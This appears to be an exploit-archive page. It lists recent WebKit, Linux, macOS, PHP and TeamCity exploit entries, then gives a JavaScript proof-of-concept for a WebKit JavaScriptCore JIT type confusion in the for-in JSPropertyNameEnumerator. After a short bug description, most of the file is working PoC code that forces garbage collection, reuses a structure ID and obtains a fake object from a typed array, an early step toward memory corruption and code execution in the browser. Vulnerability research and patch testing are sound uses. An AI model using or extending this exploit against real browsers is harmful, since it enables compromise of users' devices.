62445895aa
8 changes to exploits/shellcodes WebKit JSC JIT - 'JSPropertyNameEnumerator' Type Confusion WebKit JIT - 'ByteCodeParser::handleIntrinsicCall' Type Confusion WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object Unitrends Enterprise Backup - bpserverd Privilege Escalation (Metasploit) Linux - Nested User Namespace idmap Limit Local Privilege Escalation (Metasploit) Mac OS X - libxpc MITM Privilege Escalation (Metasploit) PHP imap_open - Remote Code Execution (Metasploit) TeamCity Agent - XML-RPC Command Execution (Metasploit)
43 lines
No EOL
1.4 KiB
JavaScript
43 lines
No EOL
1.4 KiB
JavaScript
/*
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When a for-in loop is executed, a JSPropertyNameEnumerator object is created at the beginning and used to store the information of the input object to the for-in loop. Inside the loop, the structure ID of the "this" object of every get_by_id expression taking the loop variable as the index is compared to the cached structure ID from the JSPropertyNameEnumerator object. If it's the same, the "this" object of the get_by_id expression will be considered having the same structure as the input object to the for-in loop has.
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The problem is, it doesn't have anything to prevent the structure from which the cached structure ID from being freed. As structure IDs can be reused after their owners get freed, this can lead to type confusion.
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PoC:
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*/
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function gc() {
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for (let i = 0; i < 10; i++) {
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let ab = new ArrayBuffer(1024 * 1024 * 10);
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}
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}
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function opt(obj) {
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// Starting the optimization.
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for (let i = 0; i < 500; i++) {
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}
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let tmp = {a: 1};
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gc();
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tmp.__proto__ = {};
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for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
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tmp.__proto__ = {};
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gc();
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obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
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return obj[k]; // Type confusion.
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}
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}
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opt({});
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let fake_object_memory = new Uint32Array(100);
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fake_object_memory[0] = 0x1234;
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let fake_object = opt(fake_object_memory);
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print(fake_object); |